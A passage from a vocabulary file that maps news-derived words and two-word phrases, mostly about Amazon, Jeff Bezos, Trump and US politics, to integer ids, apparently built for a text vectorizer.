216326, "companys treatment": 216327, "reflects 178": 216328, "cooper says": 216329, "break catch": 216330, "thiel company": 216331, "dlippman subscribe": 216332, "teaser": 216333, "properly buried": 216334, "va health": 216335, "defeating": 216336, "abuse criminal": 216337, "white male": 216338, "book contained": 216339, "firm warranted": 216340, "r4ee a5q": 216341, "cio": 216342, "america air": 216343, "development read": 216344, "copr": 216345, "old retail": 216346, "saw recently": 216347, "chicanery": 216348, "trend amazon": 216349, "product guru": 216350, "previously available": 216351, "transcribes interviews": 216352, "sex dolls": 216353, "mday63 bloomberg": 216354, "deeply unpopular": 216355, "stock going": 216356, "topped billion": 216357, "mcbride ceo": 216358, "similar vein": 216359, "local regional": 216360, "breezed": 216361, "macy bloomingdale": 216362, "receive small": 216363, "fda delayed": 216364, "expanding retail": 216365, "newfound access": 216366, "citing people": 216367, "comments received": 216368, "adds 196000": 216369, "great hall": 216370, "torched": 216371, "today weren": 216372, "transcript according": 216373, "travel jeff": 216374, "variations caused": 216375, "trade penalties": 216376, "department agreed": 216377, "nomiki": 216378, "estimates ranged": 216379, "companies microsoft": 216380, "actions defendant": 216381, "sponsored new": 216382, "crum": 216383, "brought did": 216384, "kristin": 216385, "5m faces": 216386, "conference nov": 216387, "consumer staples": 216388, "james": 216389, "theory send": 216390, "crime council": 216391, "bezos lightning": 216392, "addressable": 216393, "satellite constellation": 216394, "congestion really": 216395, "diplomatic outposts": 216396, "site dismissing": 216397, "developer summit": 216398, "merging": 216399, "competing shopping": 216400, "largest consumer": 216401, "asymmetric": 216402, "cityoftoronto": 216403, "dick cheney": 216404, "meaningful participation": 216405, "software update": 216406, "younger": 216407, "semini sent": 216408, "economic investments": 216409, "redding calif": 216410, "rourke kicked": 216411, "credible business": 216412, "sacrifice": 216413, "huawei overshadows": 216414, "funny just": 216415, "club firingillegal": 216416, "having different": 216417, "professor haunted": 216418, "surely leave": 216419, "different product": 216420, "global tech": 216421, "cnn features": 216422, "zones program": 216423, "christopher massie": 216424, "purposefully decided": 216425, "basically outposts": 216426, "lift living": 216427, "future hold": 216428, "company signature": 216429, "research suggests": 216430, "mature individuals": 216431, "denunciations": 216432, "citizens reasons": 216433, "dollars brennan": 216434, "killing hedge": 216435, "bezos added": 216436, "diego": 216437, "points money": 216438, "michael flynn": 216439, "swooned": 216440, "year prime": 216441, "tariff act": 216442, "testimony cohen": 216443, "multi outlet": 216444, "choices given": 216445, "gene munster": 216446, "congressional committee": 216447, "private photographs": 216448, "prematurely": 216449, "hollywood sized": 216450, "strategic reasons": 216451, "columnist michael": 216452, "better president": 216453, "trump bolsonaro": 216454, "2018 google": 216455, "underpowered": 216456, "telecommunications": 216457, "sima": 216458, "waging class": 216459, "unjust firing": 216460, "target facebook": 216461, "lm": 216462, "sanchez post": 216463, "silent treatment": 216464, "allegedly violated": 216465, "herrera": 216466, "sun energy": 216467, "priscilla presley": 216468, "question going": 216469, "missing mean": 216470, "published studies": 216471, "exceptional lengths": 216472, "stock values": 216473, "remain far": 216474, "continue buying": 216475, "newman rodd": 216476, "opening logistics": 216477, "attic helps": 216478, "pyrrhic": 216479, "years annual": 216480, "media rt": 216481, "spotted": 216482, "remains fixated": 216483, "numerous firsts": 216484, "quotesoftheday tuesdaymotivation": 216485, "canopy cover": 216486, "bailout usps": 216487, "uber faces": 216488, "usps pre": 216489, "black pepper": 216490, "hit 2050": 216491, "new era": 216492, "silenced": 216493, "central drama": 216494, "skapos politico": 216495, "map facebook": 216496, "plane carrying": 216497, "suggested empy": 216498, "block hud": 216499, "bolivia": 216500, "night vision": 216501, "citing amazon": 216502, "adulatory": 216503, "american principles": 216504, "news netflix": 216505, "just really": 216506, "vudu": 216507, "bawdy ode": 216508, "commission alternatively": 216509, "anti infanticide": 216510, "miller influence": 216511, "markets president": 216512, "style stores": 216513, "victory trump": 216514, "politically attuned": 216515, "294 shares": 216516, "rules governing": 216517, "niall": 216518, "objection food": 216519, "focus fuel": 216520, "218": 216521, "meantime bjp": 216522, "slowing growth": 216523, "travels exclusively": 216524, "loses fortune": 216525, "nickelsburg geekwire": 216526, "winter olympics": 216527, "overshadow turkey": 216528, "amazon loses": 216529, "governance structures": 216530, "house counterfeit": 216531, "oo3klbw362": 216532, "personally sipped": 216533, "verify amazon": 216534, "enquirer backed": 216535, "tough anti": 216536, "dam imageserve": 216537, "years buyer": 216538, "paper called": 216539, "obama book": 216540, "allowed": 216541, "eastern time": 216542, "send partisan": 216543, "amazon dependence": 216544, "allegations bezos": 216545, "secret negotiations": 216546, "takes amazon": 216547, "largest country": 216548, "hoobraj": 216549, "brexit draft": 216550, "cecily": 216551, "amazon plants": 216552, "white soccer": 216553, "law survey": 216554, "background thinkrolls": 216555, "fence thepentagon": 216556, "454 5442": 216557, "victory plan": 216558, "representative bezos": 216559, "trump baby": 216560, "pumpkin weigh": 216561, "content partner": 216562, "birkenhead ii": 216563, "659 000": 216564, "mccabe pretends": 216565, "breath andsay": 216566, "simply purchasing": 216567, "crowdsources projections": 216568, "party definitely": 216569, "constantly challenged": 216570, "microsoft wrote": 216571, "gives customers": 216572, "terror outfit": 216573, "shoppers doors": 216574, "structure morgan": 216575, "alliance partnership": 216576, "open internet": 216577, "executive wonders": 216578, "investigate certain": 216579, "trump bedminster": 216580, "amazon assumed": 216581, "bacon": 216582, "stock investors": 216583, "india biggest": 216584, "possible sanders": 216585, "local ownership": 216586, "americans salesforce": 216587, "warren ocasio": 216588, "guy higher": 216589, "business losing": 216590, "reading resist": 216591, "richest woman": 216592, "housing politicians": 216593, "drug alabama": 216594, "instructs": 216595, "especially given": 216596, "shipstation shippingeasy": 216597, "stocks rebounded": 216598, "month low": 216599, "hall hostility": 216600, "shld": 216601, "pay ratios": 216602, "ask polly": 216603, "river 2018": 216604, "ward interviews": 216605, "doesn watch": 216606, "don want": 216607, "facilitate ongoing": 216608, "face recognition": 216609, "motherboards apple": 216610, "greatest city": 216611, "readmit": 216612, "kidding": 216613, "carriers based": 216614, "repeat sales": 216615, "continued evaluating": 216616, "biggest antitrust": 216617, "containing goods": 216618, "velociraptors": 216619, "amazon rekogntion": 216620, "rekindling": 216621, "foreign policies": 216622, "verification purposes": 216623, "aping": 216624, "nation according": 216625, "point playing": 216626, "provide incentive": 216627, "nelson concede": 216628, "previously calculated": 216629, "needed new": 216630, "hanlon": 216631, "karine": 216632, "tang zhenyi": 216633, "controversies don": 216634, "great reads": 216635, "game click": 216636, "city fiscal": 216637, "platforms makes": 216638, "450 226": 216639, "times new": 216640, "movie hits": 216641, "despite credible": 216642, "hook new": 216643, "shirts dealing": 216644, "wise thing": 216645, "slavic": 216646, "data severe": 216647, "misunderstandings regarding": 216648, "guns aimed": 216649, "retaliatory measures": 216650, "room bezos": 216651, "public coffers": 216652, "new depression": 216653, "services orders": 216654, "house lobbyists": 216655, "pharmacies": 216656, "limousine driver": 216657, "regulatory licenses": 216658, "clot": 216659, "0712et": 216660, "treaty withdrawn": 216661, "packages weighing": 216662, "commanding": 216663, "public radio": 216664, "choice cnn": 216665, "team pursuit": 216666, "sounds lead": 216667, "fairfaxmedia": 216668, "wrapping": 216669, "mail ounce": 216670, "trump hammered": 216671, "regulators labor": 216672, "rogers starbucks": 216673, "cushion bezos": 216674, "images various": 216675, "called schwan": 216676, "innocenzio sent": 216677, "news emails": 216678, "accouterments": 216679, "help desperate": 216680, "ownzones": 216681, "soon really": 216682, "reports despite": 216683, "fall suggests": 216684, "bipartisanship people": 216685, "harmful rule": 216686, "tax saving": 216687, "letter urging": 216688, "mark judge": 216689, "company actions": 216690, "know michael": 216691, "time america": 216692, "dismembered": 216693, "twitter mark": 216694, "insiders familiar": 216695, "280mg": 216696, "just add": 216697, "know don": 216698, "better known": 216699, "neighbor does": 216700, "strong online": 216701, "marsha": 216702, "bid billion": 216703, "idea leonid": 216704, "issues related": 216705, "machine gunned": 216706, "oatmeal": 216707, "good newspaper": 216708, "foremost purveyor": 216709, "using government": 216710, "constitute": 216711, "travelpod game": 216712, "service sales": 216713, "overnight markets": 216714, "goldrose": 216715, "consultant report": 216716, "amazon counterfeiters": 216717, "tradecraft": 216718, "trump leader": 216719, "price dipped": 216720, "forging modern": 216721, "regulation means": 216722, "childhood obesity": 216723, "melina": 216724, "live airs": 216725, "florida photo": 216726, "stories worth": 216727, "influential newspaper": 216728, "home appliances": 216729, "university sanders": 216730, "bezos bold": 216731, "mcnamee stunning": 216732, "tasteless": 216733, "effectively": 216734, "blu ray": 216735, "brexit support": 216736, "acne": 216737, "mean daddy": 216738, "telling brennan": 216739, "newspaper articles": 216740, "lennon": 216741, "krasinski": 216742, "banishing congressional": 216743, "control trump": 216744, "ami threat": 216745, "trending news": 216746, "newborn baby": 216747, "811": 216748, "caller trump": 216749, "states accountable": 216750, "alex": 216751, "phillips democrats": 216752, "team bezos": 216753, "security world": 216754, "rise mahaney": 216755, "dockery": 216756, "executive overseeing": 216757, "threatening antitrust": 216758, "amazon paying": 216759, "stimulants": 216760, "favale descriptionplaintext": 216761, "union regulators": 216762, "haitian aid": 216763, "air centers": 216764, "cb": 216765, "inefficiencies": 216766, "views amazon": 216767, "labs ceo": 216768, "democratic white": 216769, "ft 100": 216770, "included link": 216771, "prevention leaked": 216772, "jinping taps": 216773, "preconceived notions": 216774, "european usatoda": 216775, "continued regulatory": 216776, "summit treasonous": 216777, "management personnel": 216778, "fought merger": 216779, "follow eileen": 216780, "var containerclassid": 216781, "poisoned": 216782, "widespread corrosive": 216783, "make partisan": 216784, "current shareholder": 216785, "sanity": 216786, "force manufacturers": 216787, "company publicly": 216788, "media insiders": 216789, "old chevron": 216790, "owns 054": 216791, "management plan": 216792, "budget brian": 216793, "45th annual": 216794, "campaign worker": 216795, "big winners": 216796, "combat human": 216797, "resilient": 216798, "markskrikorian": 216799, "million dc": 216800, "bag faces": 216801, "enquirer saved": 216802, "otis": 216803, "amazon sliding": 216804, "giants": 216805, "frank reports": 216806, "years crc": 216807, "energy ure": 216808, "south sudan": 216809, "adventure 7th": 216810, "mini width": 216811, "development appointee": 216812, "hogarth focuses": 216813, "discount plus": 216814, "homes increased": 216815, "change scott": 216816, "retail presence": 216817, "scandal adsbygoogle": 216818, "gunmen": 216819, "ugly head": 216820, "ninemsn ibtimes": 216821, "needed cites": 216822, "probed zinke": 216823, "neutrality 2018": 216824, "explicit pictures": 216825, "sketchy": 216826, "married screenwriter": 216827, "skilled technicians": 216828, "seats amazon": 216829, "plowshares robert": 216830, "condones large": 216831, "content sir": 216832, "earnings preview": 216833, "thanksgiving point": 216834, "gamification granting": 216835, "persuade congress": 216836, "signing letter": 216837, "intelligence entertainment": 216838, "summer prime": 216839, "rhc": 216840, "finalizes religious": 216841, "illusions work": 216842, "reasonable doesn": 216843, "duquesne university": 216844, "highest level": 216845, "later added": 216846, "bezos began": 216847, "blacklisted": 216848, "major amazon": 216849, "shares remain": 216850, "lyophilized preparation": 216851, "bullsh": 216852, "assassinated": 216853, "week explosive": 216854, "300x200": 216855, "committee nonprofit": 216856, "lowest": 216857, "yousay": 216858, "noisy minorities": 216859, "parcels sent": 216860, "sounds generous": 216861, "pathetic gold": 216862, "leaders announced": 216863, "vestager hopes": 216864, "riddled": 216865, "long faced": 216866, "workplace complaints": 216867, "politicos": 216868, "countries bolduan": 216869, "wyden ore": 216870, "amazon goodthreads": 216871, "sanders ver": 216872, "physical environment": 216873, "report aside": 216874, "amazon 2018": 216875, "action free": 216876, "warehouse infrastructure": 216877, "great businessman": 216878, "answer flake": 216879, "historic uptick": 216880, "soon dating": 216881, "smaller outfits": 216882, "address counterfeiting": 216883, "blood moon": 216884, "relief plan": 216885, "trillion market": 216886, "free tuition": 216887, "campaign aligning": 216888, "sizzling": 216889, "interceptors": 216890, "overwhelmingly supported": 216891, "0729et": 216892, "jpm": 216893, "nratv": 216894, "freight hub": 216895, "400 times": 216896, "disturbs": 216897, "paper best": 216898, "story junckers": 216899, "news publisher": 216900, "insurance subsidiaries": 216901, "delivery cost": 216902, "ending massive": 216903, "hirono hawaii": 216904, "emotional needs": 216905, "forsyth": 216906, "original intent": 216907, "ownership stakes": 216908, "surigao del": 216909, "city want": 216910, "kids photo": 216911, "microsoft management": 216912, "earnings conference": 216913, "critical 2020": 216914, "kadetsky student": 216915, "dellinger": 216916, "mexican oxy": 216917, "tight herera": 216918, "legislators amazon": 216919, "great guru": 216920, "marry read": 216921, "shauna goldengateblond": 216922, "morons": 216923, "legal precedents": 216924, "reasonably competitive": 216925, "drug makers": 216926, "watchdogs": 216927, "laurel healy": 216928, "wage sandwiched": 216929, "administrations aluminum": 216930, "abc midterms": 216931, "federal rate": 216932, "elmo": 216933, "meyer": 216934, "heart": 216935, "post rudy": 216936, "acto amazon": 216937, "important skills": 216938, "minutes live": 216939, "asia 2018": 216940, "2018 comfort": 216941, "attorney told": 216942, "allow doctors": 216943, "wegmann mean": 216944, "300x200 getty_72664757_387844": 216945, "male alabama": 216946, "data exposed": 216947, "report nonprofits": 216948, "louisiana yes": 216949, "surprising bushy": 216950, "musk wondered": 216951, "pill": 216952, "sorry netflix": 216953, "appointed senior": 216954, "marry": 216955, "government governance": 216956, "dress": 216957, "offering tax": 216958, "567": 216959, "raised monopoly": 216960, "pro democratic": 216961, "low margin": 216962, "spend 100m": 216963, "retail experiences": 216964, "maddow shows": 216965, "brazil desires": 216966, "\u01424": 216967, "president recent": 216968, "million domestic": 216969, "taped meetings": 216970, "george soros": 216971, "zinke economy": 216972, "rate mortgage": 216973, "newark offered": 216974, "official long": 216975, "clip commercial": 216976, "classified machine": 216977, "soybean": 216978, "crisis thatis": 216979, "fallon kimmel": 216980, "year preaching": 216981, "0001 delivery": 216982, "smartest modern": 216983, "currently worth": 216984, "local deals": 216985, "xfcuvm1u4s source": 216986, "great hotels": 216987, "stringing": 216988, "taxation betras": 216989, "mammoth internet": 216990, "olympics showing": 216991, "brown shoe": 216992, "prlog sockslane": 216993, "suicide prevention": 216994, "improper influencing": 216995, "heid erdrich": 216996, "ballantine books": 216997, "throwback": 216998, "accounts aswould": 216999, "options right": 217000, "tribune merger": 217001, "dollar tax": 217002, "pose fundamental": 217003, "seeing prime": 217004, "chips additionally": 217005, "yuge sums": 217006, "cohn announced": 217007, "summit michael": 217008, "east silver": 217009, "significant health": 217010, "bermuda company": 217011, "sullivan executive": 217012, "authorities say": 217013, "consensual sex": 217014, "ray dalio": 217015, "nationwide enquirer": 217016, "political clashes": 217017, "views low": 217018, "unnamed official": 217019, "don swim": 217020, "fall brings": 217021, "box cramer": 217022, "imagine british": 217023, "ministry statement": 217024, "john della": 217025, "hiring season": 217026, "t000047682": 217027, "story snap": 217028, "written noir": 217029, "profile newcomers": 217030, "ubhi worked": 217031, "ky": 217032, "embraces dictators": 217033, "surtax wouldn": 217034, "dislikes personally": 217035, "margin amazon": 217036, "deasy authority": 217037, "future husband": 217038, "economic sense": 217039, "tick tock": 217040, "greater benefit": 217041, "ftc began": 217042, "biggest advantage": 217043, "different subjects": 217044, "products purchased": 217045, "companies ice": 217046, "goods reaching": 217047, "dictatorship bolsonaro": 217048, "argued publicly": 217049, "jeff daniels": 217050, "linked property": 217051, "democrats turned": 217052, "issues china": 217053, "night talk": 217054, "considered unacceptable": 217055, "apparent dislike": 217056, "folks": 217057, "devin mcrae": 217058, "ray lahood": 217059, "2016": 217060, "possible new": 217061, "right inked": 217062, "friendly chips": 217063, "official protest": 217064, "grounded writes": 217065, "service pricing": 217066, "coverage north": 217067, "techno marketing": 217068, "rapper life": 217069, "republicans asked": 217070, "needed items": 217071, "ordering": 217072, "dragon tattoo": 217073, "orders shipping": 217074, "light companies": 217075, "arrangement unaffiliated": 217076, "claw": 217077, "complete nonsense": 217078, "sympathise": 217079, "review act": 217080, "dp b06xh7krkl": 217081, "appeal president": 217082, "rhc brazilian": 217083, "global warming": 217084, "issa": 217085, "cutting moves": 217086, "political attack": 217087, "direct service": 217088, "owner prostitution": 217089, "000 median": 217090, "maine joined": 217091, "eye exasperating": 217092, "think": 217093, "1040253796293795842": 217094, "frequently attacked": 217095, "tech meltdown": 217096, "devos": 217097, "house despite": 217098, "actress ruby": 217099, "photos showing": 217100, "gmt foxconn": 217101, "picks according": 217102, "trumpian populist": 217103, "clinton trump": 217104, "philosophy politics": 217105, "allows 401k": 217106, "factory president": 217107, "copper prices": 217108, "gruesome murder": 217109, "shirt looked": 217110, "reasons startups": 217111, "bus service": 217112, "monopoly source": 217113, "jackass": 217114, "anonymous faces": 217115, "home football": 217116, "bezos clout": 217117, "hateful propaganda": 217118, "case gives": 217119, "called trade": 217120, "usps pomp": 217121, "gustavo": 217122, "forbes cited": 217123, "keoshkerian": 217124, "gou foxconn": 217125, "house photograph": 217126, "usps prices": 217127, "pro vaccine": 217128, "promising new": 217129, "things jeff": 217130, "73bn": 217131, "city elementary": 217132, "lowry": 217133, "chairs": 217134, "telecom": 217135, "mystery thriller": 217136, "korea putin": 217137, "possible ocasio": 217138, "post breakup": 217139, "navy times": 217140, "mccabe explosive": 217141, "merely delivering": 217142, "bad bet": 217143, "post combining": 217144, "city borough": 217145, "spotlight jeff": 217146, "l2 l2": 217147, "topic sanders": 217148, "post newsprint": 217149, "far better": 217150, "proposed amazon": 217151, "ansel teaches": 217152, "exotic destinations": 217153, "diadiun": 217154, "hotel hiding": 217155, "leaning owner": 217156, "span interview": 217157, "proposal titled": 217158, "voat": 217159, "trump attack": 217160, "casual way": 217161, "otcqx": 217162, "issue crucial": 217163, "annual expenditures": 217164, "selves": 217165, "personalised": 217166, "law means": 217167, "post makes": 217168, "cloudtail india": 217169, "secrets read": 217170, "fishin": 217171, "york economic": 217172, "direction essentially": 217173, "segel": 217174, "chaya bhuvaneswar": 217175, "transactional revenues": 217176, "fisa warrant": 217177, "twitter jess_aloe": 217178, "espresso": 217179, "parcel force": 217180, "promises push": 217181, "legislation 1801": 217182, "months leading": 217183, "kisela": 217184, "unpatriotic": 217185, "american government": 217186, "driver wife": 217187, "expected publication": 217188, "broadcast print": 217189, "bullet proof": 217190, "1990s microsoft": 217191, "floods create": 217192, "haverford trust": 217193, "millionaire republicans": 217194, "tropical rainforest": 217195, "original recommendation": 217196, "requiring service": 217197, "big border": 217198, "egoacid": 217199, "obligatory": 217200, "new ways": 217201, "687 447": 217202, "encana": 217203, "macculloch viking": 217204, "steeper budget": 217205, "maga set": 217206, "teamsters joint": 217207, "subsidies protectionism": 217208, "fires special": 217209, "robert kuttner": 217210, "worth adding": 217211, "immigration reform": 217212, "classic miranda": 217213, "details coming": 217214, "dethroned": 217215, "proper response": 217216, "000 income": 217217, "kristin cavallari": 217218, "doug": 217219, "federal times": 217220, "massage": 217221, "urged amazon": 217222, "complaint specifically": 217223, "wreckage": 217224, "protested earlier": 217225, "die places": 217226, "sanchez landed": 217227, "pressure china": 217228, "challenging old": 217229, "tabloids ami": 217230, "initially limited": 217231, "port city": 217232, "state senate": 217233, "facts sinclair": 217234, "amid steady": 217235, "mark independence": 217236, "seize control": 217237, "killer trump": 217238, "reflections": 217239, "tweet referenced": 217240, "major bank": 217241, "laura cassidy": 217242, "partly lobbying": 217243, "weisberger": 217244, "kit form": 217245, "jake coyle": 217246, "legislatively mandated": 217247, "crawdads sing": 217248, "showcased recently": 217249, "senatemajldr": 217250, "texan": 217251, "visas makes": 217252, "contributed billion": 217253, "tonight appreciate": 217254, "general price": 217255, "congrats": 217256, "kristina peterson": 217257, "things learned": 217258, "published report": 217259, "memory kids": 217260, "designation trump": 217261, "peele joked": 217262, "attorney abramowitz": 217263, "obsessive aggressive": 217264, "insurance plan": 217265, "salem nc": 217266, "fleming": 217267, "earners leaving": 217268, "mindset": 217269, "active residents": 217270, "ramps": 217271, "going wild": 217272, "amar": 217273, "small packages": 217274, "seth blanchard": 217275, "global royalty": 217276, "told similar": 217277, "commerce games": 217278, "web according": 217279, "vote jeff": 217280, "identical products": 217281, "amazon lack": 217282, "merch": 217283, "press gaggle": 217284, "outwardly cordial": 217285, "adding senddonaldtospace": 217286, "code 2017": 217287, "endangered species": 217288, "morning instead": 217289, "justice correspondent": 217290, "guesswork badly": 217291, "spoiled": 217292, "assault receive": 217293, "news corruption": 217294, "ice ice": 217295, "shareholder services": 217296, "consequently": 217297, "economic powerhouse": 217298, "developing partner": 217299, "dell nasdaq": 217300, "fiat": 217301, "tommy tomlinson": 217302, "professor carl": 217303, "relevance correctness": 217304, "2016 irs": 217305, "anderson ap": 217306, "effectively forcing": 217307, "hilary weaver": 217308, "hit netflix": 217309, "maiden flight": 217310, "trump spokeswoman": 217311, "shift amazon": 217312, "acquirers": 217313, "gauteng ap": 217314, "liverpool": 217315, "companies mahaney": 217316, "smith wrote": 217317, "local options": 217318, "apple dropped": 217319, "just shows": 217320, "online earlier": 217321, "maxgarlandtypes read": 217322, "container utm_content": 217323, "trump penchant": 217324, "trump melania": 217325, "somewhat changed": 217326, "eqis capital": 217327, "potential tailwind": 217328, "blood grew": 217329, "goodman ext": 217330, "accompanying business": 217331, "antichrist": 217332, "trump probes": 217333, "retiring": 217334, "fair treatment": 217335, "clinton deep": 217336, "nokia plus": 217337, "reunites": 217338, "included comments": 217339, "deal unveiled": 217340, "ap amazon": 217341, "important points": 217342, "architectures": 217343, "trump confirms": 217344, "avg": 217345, "walmart costco": 217346, "stations according": 217347, "reportedly obtained": 217348, "recommended starring": 217349, "athletic shorts": 217350, "cloud vendors": 217351, "heavier adding": 217352, "gop chairman": 217353, "collab": 217354, "asia overnight": 217355, "mainly served": 217356, "supplement amazon": 217357, "company second": 217358, "fast company": 217359, "fascinating matt": 217360, "publish highly": 217361, "religious messages": 217362, "tumultuous midterms": 217363, "online transactions": 217364, "denali franklin": 217365, "places president": 217366, "management nv": 217367, "totally fake": 217368, "tiles": 217369, "investment apple": 217370, "bezos protected": 217371, "cnis7mbbwv mijente": 217372, "overseas mailing": 217373, "dax index": 217374, "prominent executives": 217375, "ignore younger": 217376, "ta": 217377, "montana oregon": 217378, "bezos speaks": 217379, "getting jobs": 217380, "concentration camp": 217381, "mal nashville": 217382, "final report": 217383, "investment statement": 217384, "watch online": 217385, "face difficulty": 217386, "outcome share": 217387, "european pressphoto": 217388, "leguizamo traces": 217389, "waving flag": 217390, "board finally": 217391, "niharika": 217392, "listened": 217393, "prove accurate": 217394, "rolling": 217395, "shawn rusterholz": 217396, "africa globenewswire": 217397, "brazilian quilombola": 217398, "user blockchain": 217399, "therapeutics": 217400, "trump touches": 217401, "sellers program": 217402, "grade golden": 217403, "energy transfer": 217404, "afternoon business": 217405, "vertically launched": 217406, "retain party": 217407, "selling point": 217408, "betting ramps": 217409, "bezos overly": 217410, "current problems": 217411, "surveillance risk": 217412, "seasonal workers": 217413, "conduit": 217414, "zwszijs781": 217415, "handle political": 217416, "exploited": 217417, "home assistant": 217418, "discuss potential": 217419, "brand experience": 217420, "sql server": 217421, "punitively": 217422, "slime": 217423, "early site": 217424, "king exlarge": 217425, "counterfeiting initiative": 217426, "grids slide": 217427, "919": 217428, "labelled sugar": 217429, "chicago": 217430, "tell investors": 217431, "tyldum helmed": 217432, "depending": 217433, "profile warren": 217434, "free reed": 217435, "inspired residents": 217436, "building trust": 217437, "feels strong": 217438, "bespoke crew": 217439, "counties needed": 217440, "soldiers transition": 217441, "company maintains": 217442, "soehl": 217443, "recent film": 217444, "level follow": 217445, "additionally managed": 217446, "won trade": 217447, "fund offers": 217448, "president bolsonaro": 217449, "near amazon": 217450, "financing plan": 217451, "ktrh": 217452, "online 100": 217453, "county commission": 217454, "000 million": 217455, "budgets including": 217456, "led consumers": 217457, "shut brazil": 217458, "aliexpress asos": 217459, "ad narrated": 217460, "business olsavsky": 217461, "midterm losses": 217462, "workloads gales": 217463, "partner making": 217464, "sorted packets": 217465, "secretly listening": 217466, "enjoy amazon": 217467, "biggest change": 217468, "challenge": 217469, "glorified real": 217470, "clive james": 217471, "ferrari recently": 217472, "richer sent": 217473, "illinoisan janis": 217474, "mediabuzz mollie": 217475, "par": 217476, "amazon investments": 217477, "quirky merchandise": 217478, "needs union": 217479, "archuleta": 217480, "cuomo lamented": 217481, "fedex counter": 217482, "displaced students": 217483, "vibrant competitive": 217484, "story kevin": 217485, "paris": 217486, "better sam": 217487, "announcement federal": 217488, "humanity especially": 217489, "developed bad": 217490, "rarely aid": 217491, "jon thank": 217492, "unborn": 217493, "unknown eta": 217494, "17009396 salisbury": 217495, "don regulate": 217496, "100 price": 217497, "debts incurred": 217498, "lisa": 217499, "pelosi remarks": 217500, "elective course": 217501, "dodging": 217502, "826 700": 217503, "entire chapter": 217504, "hq invasion": 217505, "cried": 217506, "bankrupt team": 217507, "seconds ago": 217508, "enthusiasts amounted": 217509, "open class": 217510, "reality socialist": 217511, "inflexible legislatively": 217512, "general insurance": 217513, "lake": 217514, "amazon ads": 217515, "teamsters": 217516, "usa look": 217517, "restructure": 217518, "kavanaugh confirmation": 217519, "america say": 217520, "kick starts": 217521, "chads": 217522, "parking west": 217523, "censorship category": 217524, "gold market": 217525, "importing killed": 217526, "survivor": 217527, "breweries": 217528, "tuned": 217529, "minimum salary": 217530, "printed textual": 217531, "pagevis isdocumentvisible": 217532, "carried large": 217533, "schoolyard": 217534, "fred armisen": 217535, "firm backed": 217536, "series photo": 217537, "cockpit": 217538, "investment opportunities": 217539, "ratesal": 217540, "area congressional": 217541, "vocally opposed": 217542, "institutional habit": 217543, "clubs": 217544, "effects number": 217545, "marshall talking": 217546, "msm developed": 217547, "new new": 217548, "seen amazon": 217549, "mcbride told": 217550, "depositphotos": 217551, "war chest": 217552, "black eyes": 217553, "posterity": 217554, "mcdowell yes": 217555, "brutal heat": 217556, "cyber hacks": 217557, "service making": 217558, "ignition": 217559, "appears news": 217560, "day political": 217561, "conservatives primary": 217562, "shelving": 217563, "nationally organized": 217564, "tests store": 217565, "dip": 217566, "specific issue": 217567, "forth especially": 217568, "stated based": 217569, "asked dave": 217570, "2016 netflix": 217571, "workers enjoyed": 217572, "software companies": 217573, "videodurationdivid js": 217574, "time wrote": 217575, "email national": 217576, "o1 urihe7ofy043r": 217577, "erections": 217578, "daughter 100": 217579, "enterprise defence": 217580, "competitive behaviour": 217581, "announced today": 217582, "repeated twitter": 217583, "surround closs": 217584, "wish lists": 217585, "checking trumps": 217586, "resume trade": 217587, "pointed line": 217588, "senate real": 217589, "georgia native": 217590, "explores": 217591, "sanders steps": 217592, "obligatory story": 217593, "interior employee": 217594, "astoria speaks": 217595, "monolith": 217596, "residential homes": 217597, "cref inv": 217598, "payments includes": 217599, "television digital": 217600, "quickly betrayed": 217601, "secretary alexander": 217602, "aliens chick": 217603, "irreversibly changing": 217604, "bachelor mean": 217605, "suely": 217606, "philippe bourguignon": 217607, "explicitly encourage": 217608, "delivery packages": 217609, "emeritus professor": 217610, "stop watching": 217611, "xiaomi leading": 217612, "societies says": 217613, "magnifying glass": 217614, "jeff continues": 217615, "indianapolis americans": 217616, "preorders opened": 217617, "nasty revelations": 217618, "progressive critics": 217619, "192": 217620, "tech billionaires": 217621, "piece titled": 217622, "accountability office": 217623, "pulde": 217624, "2100": 217625, "avalon bay": 217626, "country": 217627, "newspapers facebook": 217628, "reliable detections": 217629, "forth today": 217630, "bitcoin mining": 217631, "independent postal": 217632, "started climbing": 217633, "public letters": 217634, "war veterans": 217635, "retire heres": 217636, "sign contracts": 217637, "deemed inappropriate": 217638, "cutting military": 217639, "tweets shares": 217640, "roku": 217641, "leader told": 217642, "recently opined": 217643, "authority residents": 217644, "blast amazon": 217645, "dargis list": 217646, "tooall": 217647, "complaints union": 217648, "ad businesses": 217649, "congress failure": 217650, "creole financial": 217651, "academy netflix": 217652, "unfounded theory": 217653, "columbia housing": 217654, "time 000": 217655, "somebody leg": 217656, "worklife": 217657, "edelson": 217658, "photograph nicholas": 217659, "infamous idiq": 217660, "sure voice": 217661, "russian investigation": 217662, "bezos howard": 217663, "whatsapp account": 217664, "thiel brought": 217665, "reality ar": 217666, "gal kavanaugh": 217667, "false hope": 217668, "watch learning": 217669, "slightly": 217670, "uber jack": 217671, "trump feelings": 217672, "pool photo": 217673, "politically neutral": 217674, "scrutiny given": 217675, "homes jeff": 217676, "entail": 217677, "earns billions": 217678, "new list": 217679, "100 local": 217680, "exploited flaws": 217681, "deliberate shadow": 217682, "patrick job": 217683, "cogs": 217684, "international space": 217685, "hq oscars": 217686, "near anthology": 217687, "salla palos": 217688, "tb alternative": 217689, "market leverage": 217690, "owen cliff": 217691, "2020 message": 217692, "compromising impact": 217693, "attractive candidate": 217694, "cruncher": 217695, "age groups": 217696, "buy books": 217697, "new west": 217698, "column does": 217699, "glencore oil": 217700, "pointy": 217701, "envious governments": 217702, "filed earlier": 217703, "care industries": 217704, "corp current": 217705, "reportedly observed": 217706, "amazon reporting": 217707, "dawsey brennan": 217708, "far larger": 217709, "sethmpk": 217710, "programs aimed": 217711, "home nyse": 217712, "alcoholic": 217713, "party chairman": 217714, "groups voicing": 217715, "responded cheekily": 217716, "place roig": 217717, "shocked city": 217718, "elementary school": 217719, "systemic norms": 217720, "amazon caves": 217721, "based accelerated": 217722, "wing candidate": 217723, "nov shares": 217724, "company peak": 217725, "rstevenson15 bloomberg": 217726, "higher marginal": 217727, "economy doldrums": 217728, "rean": 217729, "explicitly partisan": 217730, "prominent new": 217731, "public united": 217732, "elderly": 217733, "giant crony": 217734, "comment yesterday": 217735, "way including": 217736, "chairman ryan": 217737, "whistling past": 217738, "shelved": 217739, "mocking ford": 217740, "suffers service": 217741, "quickly discounted": 217742, "campaign connect": 217743, "cruze decision": 217744, "dormant democrat": 217745, "housing complaint": 217746, "grinds foods": 217747, "mardi gras": 217748, "hill morning": 217749, "sales underwhelm": 217750, "ustr aafa": 217751, "supporters scarborough": 217752, "lawsuit vermont": 217753, "alibaba having": 